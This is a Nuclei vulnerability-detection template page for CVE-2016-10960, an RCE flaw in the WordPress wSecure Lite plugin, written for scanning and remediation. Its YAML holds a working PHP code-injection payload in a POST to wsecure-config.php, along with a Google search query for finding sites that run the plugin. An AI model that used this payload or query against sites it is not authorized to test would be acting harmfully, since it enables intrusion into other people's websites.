WordPress wSecure Lite < 2.4 - Remote Code Execution

ID: CVE-2016-10960

Severity: high

Author: daffainfo

Tags: cve2016,cve,wordpress,wp-plugin,rce,joomlaserviceprovider

Description

WordPress wsecure plugin before 2.4 is susceptible to remote code execution via shell metacharacters in the wsecure-config.php publish parameter.

YAML Source

id: CVE-2016-10960

info:
  name: WordPress wSecure Lite < 2.4 - Remote Code Execution
  author: daffainfo
  severity: high
  description: WordPress wsecure plugin before 2.4 is susceptible to remote code execution via shell metacharacters in the wsecure-config.php publish parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of WordPress wSecure Lite plugin (2.4 or higher) to fix the vulnerability.
  reference:
    - https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960
    - https://wordpress.org/plugins/wsecure/#developers
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-10960
    cwe-id: CWE-20
    epss-score: 0.01469
    epss-percentile: 0.86457
    cpe: cpe:2.3:a:joomlaserviceprovider:wsecure:*:*:*:*:lite:wordpress:*:*
  metadata:
    max-request: 1
    vendor: joomlaserviceprovider
    product: wsecure
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wsecure"
  tags: cve2016,cve,wordpress,wp-plugin,rce,joomlaserviceprovider
variables:
  name: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php"

    body: 'wsecure_action=update&publish=";} header("{{name}}: CVE-2016-10960"); class WSecureConfig2 {var $test="'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "{{name}}: CVE-2016-10960"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100aeee727fd3faef46b70567ccaa96e607948dd9ff01c235b569529b6a4a3101100221008177b4244f4e91abd4d611a2350a2d30d5fc24b79c63c2199ad0c80fedbfefc8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-10960.yaml"

View on Github